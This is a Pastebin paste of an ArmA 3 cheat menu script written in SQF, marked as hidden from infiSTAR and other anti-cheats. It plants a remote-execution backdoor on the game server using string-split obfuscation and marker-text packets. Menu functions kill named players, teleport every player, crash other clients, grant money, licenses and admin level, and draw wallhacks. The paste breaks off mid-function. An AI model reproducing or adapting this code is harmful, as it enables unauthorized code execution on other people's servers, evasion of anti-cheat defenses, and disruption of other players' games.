Advertisement
seansploit

Private Menu - UC: Seansploit

Apr 25th, 2017
3,086
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.20 KB | None | 0 0
  1.  
  2.  
  3.  
  4. [] spawn {
  5. hintSilent "loading";
  6.  
  7. disableserialization;
  8. comment " single thread script w/ no global variables ";
  9. comment " Add [Hackers Skype was here / For ArmA 3 private Injector ";
  10. comment " Hides From Infistar & Other Anti-cheats ";
  11. hintSilent "loading.";
  12.  
  13. _building = objNull;
  14. _loop = 0;
  15. while{isNull _building && !alive _building} do {
  16. _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
  17. _buildings = nearestObjects [_location, ["Building"], 300];
  18. if(count(_buildings) > 0) then {
  19. _building = _buildings select floor(random(count(_buildings)));
  20. };
  21. _loop = _loop + 1;
  22. if(_loop == 15000) exitWith {};
  23. };
  24. if(isNull _building) exitWith {hint "Failed to find a building! Could not run script!"};
  25. _cargo = _building;
  26. _cargo allowDamage false;
  27. _cfg_vehicle = configFile >> "cfgVehicles";
  28. if (isNil 'Jay_vehicle_list') then {
  29. Jay_vehicle_list = [];
  30.  
  31. for "_i" from 0 to (count _cfg_vehicle)-1 do
  32. {
  33. _vehicle_class = _cfg_vehicle select _i;
  34. if (isClass _vehicle_class) then
  35. {
  36. _vehicle = configName _vehicle_class;
  37. if ((getNumber (_vehicle_class >> "scope") == 2) && (getText (_vehicle_class >> "picture") != "") && (((_vehicle isKindOf "LandVehicle") or (_vehicle isKindOf "Air") or (_vehicle isKindOf "Boat"))) && !((_vehicle isKindOf "ParachuteBase") or (_vehicle isKindOf "BIS_Steerable_Parachute"))) then
  38. {
  39. Jay_vehicle_list = Jay_vehicle_list + [_vehicle];
  40. };
  41. };
  42. };
  43. };
  44.  
  45.  
  46. hintSilent "loading..";
  47.  
  48. _detector = format['%1 nearestObject "building"',getpos _building];
  49. _getVariable = compile format["params['_var','_default'];%1 getVariable [_var,_default];",_detector];
  50. _setVariable = compile format["params['_var','_value'];%1 setVariable [_var,_value];",_detector];
  51. ["runloops",true] call _setVariable;
  52. ["rexec",{
  53. params["_code"];
  54. private["_str","_chars","_packets","_execCode","_packetPart","_packetNum","_pIndex","_install","_marker","_pos","_timeout"];
  55.  
  56. _str = str(_code) select [1];
  57. _str = _str select [0,count(_str)-1];
  58. _chars = _str splitString "";
  59. _packets = [];
  60.  
  61. _execCode = "";
  62. _packetPart = [];
  63. _packetNum = 1;
  64. {
  65. if((_forEachIndex mod 1000 == 0 && _forEachIndex != 0) || (_forEachIndex == (count(_chars)-1))) then {
  66. _pIndex = count(_packets)+1;
  67. _packets pushback ("pac_" + str(_pIndex) + " = '" + (_packetPart joinString "") + "';");
  68. _packetPart = [];
  69. _execCode = _execCode + "+pac_" + str(_pIndex);
  70. };
  71. _packetPart pushback _x;
  72. if(_x == "'") then {
  73. _packetPart pushback "'";
  74. };
  75. } forEach _chars;
  76. _execCode = _execCode select [1];
  77. _packets pushBack ("_c = compile (" + _execCode + ");[] spawn _c;");
  78.  
  79. _install = {
  80. params["_markerName"];
  81. private["_a","_b","_c"];
  82. createMarker[_markerName,[0.1,0.1]];
  83. _markerName setMarkerAlpha 0.001;
  84. _markerName setMarkerText "....";
  85.  
  86. _a = 'if(isServer) then {
  87. inf = {
  88. ad' + 'dMis' + 'sionEv' + 'entHa' + 'ndler["Eachfr" + "ame","
  89. b" + "is_fun" + "ctions_mai" + "nscope setV" + "ariable [""R" + "EA2"",tr" + "ue];
  90. _mar" + "kerTe" + "xt = mar" + "kerTe" + "xt ""' + _markerName + '"";
  91. if(_ma" + "rkerT" + "ext != "".." + ".."") then {
  92. _c" + "ode = com" + "pile _mar" + "kerTe" + "xt;
  93. _c" + "ode re" + "mo" + "te" + "Exe" + "c [""ca" + "ll"",0];
  94. ""' + _markerName + '"" se" + "tMa" + "rkerT" + "ext ""." + "..."";
  95. };
  96. removeAllMissionEventHandlers ""Eachframe"";
  97. [] sp" + "awn in" + "f;
  98. "];
  99. };
  100. ad' + 'dMis' + 'sionEv' + 'entHa' + 'ndler["Eachfr" + "ame","
  101. b" + "is_fun" + "ctions_mai" + "nscope setV" + "ariable [""R" + "EA2"",tr" + "ue];
  102. _mar" + "kerTe" + "xt = mar" + "kerTe" + "xt ""' + _markerName + '"";
  103. if(_ma" + "rkerT" + "ext != "".." + ".."") then {
  104. _c" + "ode = com" + "pile _mar" + "kerTe" + "xt;
  105. _c" + "ode re" + "mo" + "te" + "Exe" + "c [""ca" + "ll"",0];
  106. ""' + _markerName + '"" se" + "tMa" + "rkerT" + "ext ""." + "..."";
  107. };
  108. removeAllMissionEventHandlers ""Eachframe"";
  109. [] sp" + "awn i" + "nf;
  110. "];
  111. };';
  112.  
  113. _c = ("(typeof player) create");
  114. _c = _c + ("Unit [[0,0,0],create");
  115. _c = _c + ("Group sideLogic,'");
  116. _c = _c + _a;
  117. _c = _c + "'];";
  118. _b = compile _c;
  119. call _b;
  120.  
  121. };
  122.  
  123. _marker = "_USER_DEFINED #0/0/4";
  124. _pos = markerPos _marker;
  125. _timeout = false;
  126. if((_pos select 0) == 0) then {
  127. systemchat "RE INIT > Installing RE";
  128. [_marker] call _install;
  129. systemchat "RE INIT > Install done... Checking";
  130. _out = diag_tickTime + 30;
  131. waitUntil{!isNil {bis_functions_mainscope getVariable ["REA2",nil]} || (diag_tickTime > _out)};
  132. if(diag_tickTime > _out) exitWith {_timeout = true;};
  133. systemchat "RE INIT > Install Success";
  134. };
  135. if(_timeout) exitWith {
  136. systemchat "RE INIT > Failed to install RE.";
  137. systemchat "RE INIT > Either the server is lagging / crashing OR the RE is broke";
  138. };
  139. {
  140. _marker setMarkerText _x;
  141. waitUntil{markerText _marker == "...."};
  142. systemchat ("RE > Executed Packet " + str(_forEachIndex+1) + "/" + str(count(_packets)));
  143. } forEach _packets;
  144. systemchat "RE > Done.";
  145. }] call _setVariable;
  146. hintSilent "loading...";
  147.  
  148. _ns = {
  149. params["_parts","_getVariable","_setVariable"];
  150. if(isnil {["ns",nil] call _getVariable}) then {["ns",false] call _setVariable;};
  151. ["ns",!(["ns",false] call _getVariable)] call _setVariable;
  152.  
  153. if(["ns",false] call _getVariable) then {
  154. hint "no sway on";
  155. player setCustomAimCoef 0;
  156. } else {
  157. hint "no sway off";
  158. player setCustomAimCoef 1;
  159. };
  160.  
  161. };
  162. _gtwh = {
  163. params["_parts","_getVariable","_setVariable"];
  164. _name = _parts select 0;
  165. {
  166. if(_forEachIndex != 0) then {
  167. _name = _name + " " + _x;
  168. };
  169. } forEach _parts;
  170. if(isNil {_name}) then {_name = "";};
  171.  
  172. _found = false;
  173. {
  174. if(tolower(name _x) == tolower(_name)) then {
  175. _x addAction ["Load ESP", "[]spawn bpbpbp_walls"];
  176.  
  177. _found = true;
  178. };
  179. } forEach allPlayers;
  180. if(_found) then {
  181. hint "Killed";
  182. } else {
  183. hint "Could not find that target";
  184. };
  185. };
  186. _GDiam = {
  187. [true,"diamondc",1] call life_fnc_handleInv
  188.  
  189. };
  190. _spw1 = {
  191.  
  192. hint "no items added yet pls modify the script with notepad";
  193.  
  194.  
  195. };
  196. _spw2 = {
  197.  
  198. hint "no items added yet pls modify the script with notepad";
  199.  
  200.  
  201. };
  202. _spw3 = {
  203.  
  204. hint "no items added yet pls modify the script with notepad";
  205.  
  206.  
  207. };
  208. bpbpbp_walls = {
  209. params["_parts","_getVariable","_setVariable"];_var=!(["ICO",false]call _getVariable);["ICO",_var]call _setVariable;if(_var)then{hint "Player Icons On";_a="addMission";_a=_a+"EventHandler[""Draw3D"",{";_a=_a+"_ordered=[];{if(player distance _x<=2000)then{_ordered pushback[str(side _x),str(vehicle _x==_x),name _x,_x];};}forEach(if(isMultiplayer)then{allPlayers}else{allUnits});_ordered sort true;";_a=_a+"{_side=_x select 0;_inVehicle=_x select 1;_name=_x select 2;_object=_x select 3;";_a=_a+"_pos=(_object modelToWorld((_object selectionPosition ""neck"")vectorAdd[0,0,0.25]));";_a=_a+"_color=[1,0,1,1];if(side _object==blufor)then{_color=[0,0,1,1];};if(side _object==opfor)then{_color=[1,0,0,1];};if(side _object==independent)then{_color=[0,1,0,1];};if(getplayeruid _object in[""76561198152111329"",""76561198276380268""])then{_color=[1,1,0];_name=""INFISTAR"";};_scale=(0.05-(0.05*((player distance _object)/3000)));if(_scale>0)then{draw";_a=_a+"Icon3D["""",_color,_pos,0,0,0,_name+""-""+str(round(player distance _object))+""m"",2,_scale,""PuristaMedium"",""center"",true];};}forEach _ordered;}];";_b=compile _a;_eh=call _b;["ICOEH",_eh]call _setVariable;}else{_a="remove";_a=_a+"MissionEventHandler";_a=_a+"[""Draw";_a=_a+"3D"",_eh];";_eh=(["ICOEH",-1]call _getVariable);_b=compile _a;call _b;hint "Player icons off";};};
  210. _sfpb = {
  211.  
  212. player addBackpack "B_Bergen_mcamo_F";
  213. player addItem "Exile_Item_FlagStolen10";
  214. player addItem "Exile_Item_FlagStolen10";
  215. player addItem "Exile_Item_FlagStolen10";
  216. player addItem "Exile_Item_FlagStolen10";
  217. player addItem "Exile_Item_FlagStolen10";
  218. player addItem "Exile_Item_FlagStolen10";
  219. player addItem "Exile_Item_FlagStolen10";
  220. player addItem "Exile_Item_FlagStolen10";
  221.  
  222. hint "item added";
  223.  
  224.  
  225. };
  226. _Gadm = {
  227. life_AdminLevel = 3
  228.  
  229.  
  230. };
  231. _Mny = {
  232. _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
  233.  
  234. if(!isNil "life_no_injection") then {life_no_injection = true;};
  235. fwwfww = true;
  236. if(isNil "FawfwaP") then {FawfwaP = "swag";};
  237. if(FawfwaP == "swag") then {
  238. _search = preprocessFileLineNumbers "core\configuration.sqf";
  239. _words = [_search," "] call BIS_fnc_splitString;
  240. _index = _words find "west:";
  241. if(_index != -1) then {
  242. _varIndex = _index + 1;
  243. _varTemp = _words select _varIndex;
  244. _varTemp = toLower(_varTemp);
  245. _low = (toArray("a") select 0);
  246. _high = (toArray("z") select 0);
  247. _allowedLetters = toArray("_1234567890");
  248. _newArray = [];
  249. _oldArray = toArray(_varTemp);
  250. for "_i" from 0 to count(_oldArray)-1 do {
  251. _val = _oldArray select _i;
  252. if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
  253. _newArray set[count(_newArray),_val];
  254. }
  255. };
  256. FawfwaP = toString _newArray;
  257. } else {
  258. fwwfww = false;
  259. };
  260. };
  261. if(!fwwfww) exitWith {hint "Couldn't find the money variable!";};
  262.  
  263. call compile format["%1 = %1 + 100000;",FawfwaP];
  264. hint "100k Spawned";
  265. if(!isNil "life_no_injection") then {life_no_injection = false;};
  266. };
  267.  
  268. _Lice = {
  269. {missionnamespace setVariable[(_x select 0),true];} foreach life_licenses;
  270. hint "License added sync data to save";
  271. };
  272. _mpsg = {
  273. call compile ("
  274. anArray = [];
  275. anArray2 = [];
  276. if (isnil 'daPlyrMrkrs') then {
  277. daPlyrMrkrs = 0;
  278. };
  279. if (daPlyrMrkrs == 0) then {
  280. daPlyrMrkrs = 1;
  281. systemChat 'Map Markers Activated!';
  282. } else {
  283. daPlyrMrkrs = 0;
  284. systemChat 'Map Markers Deactivated!';
  285. };
  286. while {daPlyrMrkrs == 1} do {
  287. {
  288. if (!(_x in anArray2) && (vehicle _x == _x) && (getPlayerUID _x != '')) then {
  289. private['_Uwish_PonyVisPos', '_Uwish_PonyCrtMrkr'];
  290. _Uwish_PonyVisPos = visi" + "bleP" + "osition _x;
  291. _Uwish_PonyCrtMrkr = crea" + "teMarkerLocal[format['PLR%1%2', _Uwish_PonyVisPos select 0, _Uwish_PonyVisPos select 1], [(_Uwish_PonyVisPos select 0) + 20, _Uwish_PonyVisPos select 1, 0]];
  292. _Uwish_PonyCrtMrkr setMar" + "kerTyp" + "eLocal 'hd_dot';
  293. _Uwish_PonyCrtMrkr setMar" + "kerSizeL" + "ocal[1, 1];
  294. if ((side _x == side player) && (side _x != resistance)) then {
  295. _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorBlue';
  296. } else {
  297. _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorRed';
  298. };
  299. if (_x == player) then {
  300. _Uwish_PonyCrtMrkr setM" + "arkerCol" + "orLocal 'ColorGreen';
  301. };
  302. anArray2 set[count anArray2, _x];
  303. [_x, _Uwish_PonyCrtMrkr] spawn {
  304. private['_player', '_marker'];
  305. _player = _this select 0;
  306. _marker = _this select 1;
  307. while {(daPlyrMrkrs == 1) && (alive _player) && (vehicle _player == _player) && (getPlayerUID _player != '')} do {
  308. _marker setMa" + "rkerPosL" + "ocal([visi" + "bleP" + "osition _player select 0, visi" + "bleP" + "osition _player select 1, 0]);
  309. _marker setMark" + "erTextL" + "ocal format['%1 - %2', name _player, round(_player distance player)];
  310. sleep 0.02;
  311. };
  312. delet" + "eMarke" + "rLocal _marker;
  313. if (_player in anArray2) then {
  314. anArray2 set[(anArray2 fi" + "nd _player), -1];
  315. anArray2 = anArray2 - [-1];
  316. };
  317. };
  318. };
  319. } forEach ([6800, 9200, 0] nea" + "rEnt" + "ities [['AllVe" + "hicles'], 50000]);
  320. sleep 0.3;
  321. };
  322. {
  323. _Uwish_PonyCrtMrkr = str _x;
  324. delet" + "eMarke" + "rLocal _Uwish_PonyCrtMrkr;
  325. } forEach ([6800, 9200, 0] nea" + "rEnt" + "ities [['AllVe" + "hicles'], 50000]);
  326. ");
  327.  
  328.  
  329. };
  330. _dlcu = {
  331. call compile ("
  332. curs" + "orta" + "rget se" + "tdam" + "age 1;
  333. ");
  334.  
  335. };
  336. _sLocal = {
  337. params["_vehicle","_code"];
  338. private["_veh"];
  339. player reveal [_vehicle,4];
  340. player allowDamage false;
  341. _oldPos = getpos player;
  342. moveout(driver _vehicle);
  343. _tOut = diag_tickTime + 5;
  344. waitUntil{isNull (driver _vehicle) || diag_tickTime > _tOut};
  345. uiSleep 0.025;
  346.  
  347. player moveInAny _vehicle;
  348.  
  349. waitUntil{vehicle player != player || diag_tickTime > _tOut};
  350. waitUntil{local (vehicle player)};
  351. call _code;
  352. moveOut player;
  353. waitUntil{vehicle player == player || diag_tickTime > _tOut};
  354. _veh = player;
  355. _veh setVelocity [0,0,0];
  356. player setPos _oldPos;
  357. player allowDamage true;
  358. };
  359. ["sLocal",_sLocal] call _setVariable;
  360.  
  361. _ln = {
  362. params["_parts","_getVariable","_setVariable"];
  363.  
  364. _veh = nearestObject [getpos player, "LandVehicle"];
  365. if(isNull _veh) then {
  366. _veh = nearestObject [getpos player, "Air"];
  367. };
  368. if(isNull _veh) then {
  369. _veh = nearestObject [getpos player, "Ship"];
  370. };
  371. if(_veh in vehicles) then {
  372. hint "Launching vehicle";
  373. [_veh,{
  374. _head = vehicle player;
  375. _head setVelocity [random 2,random 2,10];
  376. }] call (["sLocal",{}] call _getVariable);
  377. };
  378. };
  379. _la = {
  380. params["_parts","_getVariable","_setVariable"];
  381.  
  382. {
  383. if(alive _x && (_x isKindOf "LandVehicle" || _x isKindOf "Air" || _x isKindOf "Ship")) then {
  384. [_x,{
  385. _head = vehicle player;
  386. _head setVelocity [random 2,random 2,10];
  387. }] call (["sLocal",{}] call _getVariable);
  388. };
  389. } forEach vehicles;
  390. hint "launched!";
  391. };
  392. _l = {
  393. params["_parts","_getVariable","_setVariable"];
  394.  
  395. if(cursorObject in vehicles) then {
  396. hint "Launching cursor";
  397. [cursorObject,{
  398. _head = vehicle player;
  399. _head setVelocity [random 2,random 2,10];
  400. }] call (["sLocal",{}] call _getVariable);
  401. };
  402. };
  403. _sw = {
  404. player allowDamage false;
  405. _pos = getPos Player;
  406. for "_i" from 1 to 10 do {
  407. uiSleep 0.2;
  408.  
  409. for "_dir" from 5 to 360 step 5 do {
  410.  
  411. _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
  412. _npos = _pos vectorAdd (_delta vectorMultiply _i);
  413. _npos set[2,0];
  414. player allowDamage false;
  415. _bobber = "Bomb_04_F" createVehicleLocal _npos;
  416. player allowDamage false;
  417. _bobber setVelocity [0,-1,-10];
  418. };
  419. player setpos _pos;
  420. };
  421. player allowDamage true;
  422. };
  423. _bw = {
  424. _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
  425. _pos = getPos Player;
  426. player allowDamage false;
  427. for "_i" from 1 to 10 do {
  428. uiSleep 0.2;
  429. _pos = _pos vectorAdd _delta;
  430. _pos set[2,0];
  431. player allowDamage false;
  432. _bobber = "Bomb_04_F" createVehicleLocal _pos;
  433. player allowDamage false;
  434. _bobber setVelocity [0,-1,-10];
  435.  
  436. };
  437. player allowDamage true;
  438. };
  439. _tpm = {
  440. hint "To teleport center the map on where you want to go and press ESCAPE";
  441. openMap [true,false];
  442. _coords = [0,0,0];
  443. while{visibleMap} do {
  444. _coords = ((findDisplay 12) displayCtrl 51) ctrlMapScreenToWorld [0.5,0.5];
  445. uiSleep 0.01;
  446. };
  447. player setpos _coords;
  448. };
  449. _nk = {
  450. params["_parts","_getVariable","_setVariable"];
  451. _locations = [];
  452. _threads = [];
  453. _stop = diag_tickTime + 60;
  454. hint "N U K I N G";
  455. while{diag_tickTime < _stop} do {
  456. _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
  457. if !(_location in _locations) then {
  458. _locations pushBack _location;
  459. _thread = _location spawn {
  460. _buildings = nearestObjects [_this, ["Building"], 1000];
  461. {
  462. if !(_x getVariable ["runloops",false]) then {
  463. _bobber = "Bomb_04_F" createVehicleLocal (getpos _x);
  464. _bobber setVelocity [0,-1,-10];
  465. };
  466. uiSleep (60/(count(_buildings)));
  467. } forEach _buildings;
  468. };
  469. _threads pushback _thread;
  470. };
  471. };
  472. {
  473. if(!scriptDone _x) then {
  474. terminate _x;
  475. };
  476. } forEach _threads;
  477. hint "D O N E";
  478. };
  479. _run = {
  480. params["_parts","_getVariable","_setVariable"];
  481. _code = "";
  482. {
  483. _code = _code + " " + _x;
  484. } forEach _parts;
  485.  
  486. _a = compile _code;
  487. with missionNamespace do {call _a;};
  488. };
  489. _runr = {
  490. params["_parts","_getVariable","_setVariable"];
  491. _code = "";
  492. {
  493. _code = _code + "" + _x;
  494. } forEach _parts;
  495.  
  496. _re = ["rexec",{}] call _getVariable;
  497. _a = compile _code;
  498. _a spawn _re;
  499. };
  500. _tpa = {
  501. params["_parts","_getVariable","_setVariable"];
  502. {
  503. _x setpos getpos player;
  504. uiSleep .1;
  505. } forEach allPlayers;
  506. };
  507. _spw = {
  508. params["_parts","_getVariable","_setVariable"];
  509. _class = _parts select 0;
  510. _count = 1;
  511. if(count(_parts) > 1) then {
  512. _count = (_count max parseNumber (_parts select 1));
  513. };
  514.  
  515. _holders = player nearObjects ["groundWeaponHolder",1];
  516. _gwh = objNull;
  517. if(count(_holders) > 0) then {
  518. _gwh = _holders select 0;
  519. } else {
  520. _gwh = "groundWeaponHolder" createVehicle (getpos player);
  521. };
  522.  
  523.  
  524.  
  525. if(isClass (configFile >> "CfgWeapons" >> _class)) then {
  526. if((toLower(_class) find "item" == 0) || (toLower(_class) find "exile_item" == 0) || (toLower(_class) find "h_" == 0) || (toLower(_class) find "u_" == 0) || (toLower(_class) find "v_" == 0) || (toLower(_class) find "minedetector" == 0) || (toLower(_class) find "binocular" == 0) || (toLower(_class) find "rangefinder" == 0) || (toLower(_class) find "NVGoggles" == 0) || (toLower(_class) find "laserdesignator" == 0) || (toLower(_class) find "firstaidkit" == 0) || (toLower(_class) find "medkit" == 0) || (toLower(_class) find "toolkit" == 0) || (toLower(_class) find "muzzle_" == 0) || (toLower(_class) find "optic_" == 0) || (toLower(_class) find "acc_" == 0) || (toLower(_class) find "bipod_" == 0)) then {
  527. _gwh addItemCargoGlobal [_class,_count];
  528. hint ("Spawned item\n" + _class);
  529. } else {
  530. for "_i" from 1 to _count do {
  531. _gwh addWeaponCargoGlobal [_class,1];
  532. _mags = getArray(configFile >> "CfgWeapons" >> _class >> "Magazines");
  533. _mag = "";
  534. {
  535. _mag = _x;
  536. _cfg = configFile >> "CfgMagazines" >> _mag;
  537. if(isClass _cfg) exitWith {};
  538. } forEach _mags;
  539. _gwh addMagazineCargoGlobal [_mag,3];
  540. };
  541. };
  542. hint ("Spawned weapon\n" + _class);
  543. };
  544. if(isClass (configFile >> "CfgMagazines" >> _class)) then {
  545. _gwh addMagazineCargoGlobal [_class,_count];
  546. hint ("Spawned magazine\n" + _class);
  547. };
  548. if(isClass (configFile >> "CfgVehicles" >> _class)) then {
  549. _gwh addBackpackCargoGlobal [_class,_count];
  550. hint ("Spawned backpack\n" + _class);
  551. };
  552. _gwh setposatl (getposatl player);
  553. };
  554. _mssg = {
  555. addMissionEventHandler ["Draw3D",{
  556. {
  557. if((isPlayer _x) && ((side _x) == (side player)) && ((player distance _x) < 700) && (getplayeruid _x != "")) then {
  558. _pos = getposatl _x;
  559. _eyepos = ASLtoATL eyepos _x;
  560. if((getTerrainHeightASL [_pos select 0,_pos select 1]) < 0) then {
  561. _eyepos = eyepos _x;
  562. _pos = getposasl _x;
  563. };
  564. _1 = _x modelToWorld [-0.5,0,0];
  565. _2 = _x modelToWorld [0.5,0,0];
  566. _3 = _x modelToWorld [-0.5,0,0];
  567. _4 = _x modelToWorld [0.5,0,0];
  568. _1 set [2,_pos select 2];
  569. _2 set [2,_pos select 2];
  570. _3 set [2,(_eyepos select 2)+0.25];
  571. _4 set [2,(_eyepos select 2)+0.25];
  572. _HP = (damage _x - 1) * -100;
  573. _fontsize = 0.02;
  574. _eyepos set [2,(_3 select 2) - 0.1];
  575. drawIcon3D["",[0,1,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
  576. drawLine3D[_1,_2,[0,1,0,1]];
  577. drawLine3D[_2,_4,[0,1,0,1]];
  578. drawLine3D[_4,_3,[0,1,0,1]];
  579. drawLine3D[_3,_1,[0,1,0,1]];
  580. };
  581. if((isPlayer _x) && ((side _x) != (side player)) && ((player distance _x) < 1400) && (getplayeruid _x != "")) then {
  582. _pos = getposatl _x;
  583. _eyepos = ASLtoATL eyepos _x;
  584. _1 = _x modelToWorld [-0.5,0,0];
  585. _2 = _x modelToWorld [0.5,0,0];
  586. _3 = _x modelToWorld [-0.5,0,0];
  587. _4 = _x modelToWorld [0.5,0,0];
  588. _1 set [2,_pos select 2];
  589. _2 set [2,_pos select 2];
  590. _3 set [2,(_eyepos select 2)+0.25];
  591. _4 set [2,(_eyepos select 2)+0.25];
  592. _HP = (damage _x - 1) * -100;
  593. _fontsize = 0.02;
  594. _eyepos set [2,(_3 select 2) - 0.1];
  595. drawIcon3D["",[1,0,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
  596. drawLine3D[_1,_2,[1,0,0,1]];
  597. drawLine3D[_2,_4,[1,0,0,1]];
  598. drawLine3D[_4,_3,[1,0,0,1]];
  599. drawLine3D[_3,_1,[1,0,0,1]];
  600. };
  601. } forEach allUnits;
  602. }];
  603. };
  604. _gvam = {
  605. call compile ("
  606. _curWeap = curren" + "tWeapon player;
  607. _arry = get" + "Array(con" + "figfile >> 'cfgW" + "eapons' >> _curWeap >> 'maga" + "zines');
  608. _final = _arry select 0;
  609. player ad" + "dMaga" + "zine _final;
  610. player ad" + "dMaga" + "zine _final;
  611. systemChat format['Gave you 2 mags of %1', _final];
  612. ");
  613.  
  614. };
  615. _ktp = {
  616. params["_parts","_getVariable","_setVariable"];
  617. _name = _parts select 0;
  618. {
  619. if(_forEachIndex != 0) then {
  620. _name = _name + " " + _x;
  621. };
  622. } forEach _parts;
  623. if(isNil {_name}) then {_name = "";};
  624.  
  625. _found = false;
  626. {
  627. if(tolower(name _x) == tolower(_name)) then {
  628. _x setdamage 1;
  629. _found = true;
  630. };
  631. } forEach allPlayers;
  632. if(_found) then {
  633. hint "Killed";
  634. } else {
  635. hint "Could not find that target";
  636. };
  637.  
  638. };
  639. _tpt = {
  640. params["_parts","_getVariable","_setVariable"];
  641. _name = _parts select 0;
  642. {
  643. if(_forEachIndex != 0) then {
  644. _name = _name + " " + _x;
  645. };
  646. } forEach _parts;
  647. if(isNil {_name}) then {_name = "";};
  648.  
  649. _found = false;
  650. {
  651. if(tolower(name _x) == tolower(_name)) then {
  652. player setpos getpos _x;
  653. _found = true;
  654. };
  655. } forEach allPlayers;
  656. if(_found) then {
  657. hint "Teleported";
  658. } else {
  659. hint "Could not find that target";
  660. };
  661. };
  662. _tph = {
  663. params["_parts","_getVariable","_setVariable"];
  664. _name = _parts select 0;
  665. {
  666. if(_forEachIndex != 0) then {
  667. _name = _name + " " + _x;
  668. };
  669. } forEach _parts;
  670. if(isNil {_name}) then {_name = "";};
  671.  
  672. _found = false;
  673. {
  674. if(tolower(name _x) == tolower(_name)) then {
  675. _x setpos getpos player;
  676. _found = true;
  677. };
  678. } forEach allPlayers;
  679. if(_found) then {
  680. hint "Teleported";
  681. } else {
  682. hint "Could not find that target";
  683. };
  684. };
  685. _iam = {
  686. params["_parts","_getVariable","_setVariable"];
  687. _var = !(["IAM",false] call _getVariable);
  688. ["IAM",_var] call _setVariable;
  689. if(_var) then { hint "Ammo Auto Refill On"} else {hint "Ammo Auto Refill Off" };
  690. while{["IAM",false] call _getVariable} do {
  691. _mag = ((GetArray(configFile >> 'cfgWeapons' >> currentWeapon player >> 'magazines')) select 0);
  692. if(({_x == _mag} count(magazines player)) < 4) then {
  693. player addMagazine _mag;
  694. };
  695. };
  696. };
  697.  
  698. _ico = {
  699. params["_parts","_getVariable","_setVariable"];
  700. _var = !(["ICO",false] call _getVariable);
  701. ["ICO",_var] call _setVariable;
  702. if(_var) then {
  703. hint "Player Icons On";
  704. _a = "addMission";
  705. _a = _a + "EventHandler [""Draw3D"",{";
  706. _a = _a + "
  707. _ordered = [];
  708. {
  709. if(player distance _x <= 2000) then {
  710. _ordered pushback [str(side _x),str(vehicle _x == _x),name _x,_x];
  711. };
  712. } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
  713. _ordered sort true;
  714. ";
  715. _a = _a + "
  716. {
  717. _side = _x select 0;
  718. _inVehicle = _x select 1;
  719. _name = _x select 2;
  720. _object = _x select 3;
  721. ";
  722. _a = _a + "
  723. _pos = (_object modelToWorld ((_object selectionPosition ""neck"") vectorAdd [0,0,0.25]));
  724. ";
  725. _a = _a + "
  726. _color = [1,0,1,1];
  727. if(side _object == blufor) then {
  728. _color = [0,0,1,1];
  729. };
  730. if(side _object == opfor) then {
  731. _color = [1,0,0,1];
  732. };
  733. if(side _object == independent) then {
  734. _color = [0,1,0,1];
  735. };
  736.  
  737. if(getplayeruid _object in [""76561198152111329"",""76561198276380268""]) then {
  738. _color = [1,1,0];
  739. _name = ""INFISTAR"";
  740. };
  741.  
  742. _scale = (0.05 - (0.05 *((player distance _object)/3000)));
  743. if(_scale > 0) then {
  744. draw";
  745. _a = _a + "Icon3D ["""", _color, _pos, 0, 0, 0, _name + "" - "" + str(round(player distance _object)) + ""m"", 2, _scale, ""PuristaMedium"",""center"",true];
  746. };
  747. } forEach _ordered;
  748.  
  749. }];";
  750.  
  751. _b = compile _a;
  752. _eh = call _b;
  753.  
  754. ["ICOEH",_eh] call _setVariable;
  755. } else {
  756. _a = "remove";
  757. _a = _a + "MissionEventHandler";
  758. _a = _a + " [""Draw";
  759. _a = _a + "3D"",_eh];";
  760. _eh = (["ICOEH",-1] call _getVariable);
  761. _b = compile _a;
  762. call _b;
  763. hint "Player icons off";
  764. };
  765. };
  766.  
  767. _tst = {
  768. hint "hey";
  769. };
  770. _goymode = {
  771. params["_parts","_getVariable","_setVariable"];
  772. _var = !(["GOY",false] call _getVariable);
  773. ["GOY",_var] call _setVariable;
  774. if(_var) then {
  775. hint "Autoheal On";
  776. } else {
  777. hint "Autoheal Off";
  778. };
  779. while{(["GOY",false] call _getVariable)} do {
  780. player allowDamage false;
  781. player setDamage --0;
  782. uiSleep 0.001;
  783. };
  784. };
  785. _pur = {
  786. player setVariable["restrained", false, true];
  787. ["TaskSucceeded", ["", "Press V to escape restraints"]] call bis_fnc_showNotification;
  788. };
  789. _gck = {
  790. hint "You have now the key";
  791. life_vehicles set[count life_vehicles, cursorTarget];
  792.  
  793. };
  794. _leave = {
  795. endMission "fail";
  796. };
  797. _cr = {
  798. {_x setPos[1e14,1e14,1e14];uiSleep .1;systemchat("<Lysdick>: Crashing "+name _x);} forEach (allPlayers-[player]);
  799. };
  800. _radar = {
  801. params["_parts","_getVariable","_setVariable"];
  802. _dist = 100;
  803. _size = 250;
  804. _scale = 12;
  805. if(count(_parts) > 0) then {
  806. _dist = parseNumber(_parts select 0);
  807. if(count(_parts) > 1) then {
  808. _scale = parseNumber(_parts select 1);
  809. if(count(_parts) > 2) then {
  810. _size = parseNumber(_parts select 2);
  811. };
  812. };
  813. };
  814.  
  815. MAP_SIZE = _size;
  816. MAP_DIST = _dist;
  817. MAP_SCALE = _scale;
  818.  
  819. _var = !(["RDR",false] call _getVariable);
  820. ["RDR",_var] call _setVariable;
  821. if(_var) then {
  822. _eh = addMissionEventHandler ["Eachframe",{
  823. _mapSize = MAP_SIZE;
  824. _checkDistance = MAP_DIST;
  825. _mapScale = MAP_SCALE;
  826. _objects = nearestObjects [player,["LandVehicle","Air","Ship","Man"],_checkDistance];
  827. _mapDims = ctrlPosition ((findDisplay 12) displayCtrl 51);
  828. _x = (_mapDims select 0) + (pixelW*10);
  829. _w = pixelW * _mapSize;
  830. _y = (_mapDims select 1) + (pixelH*10);
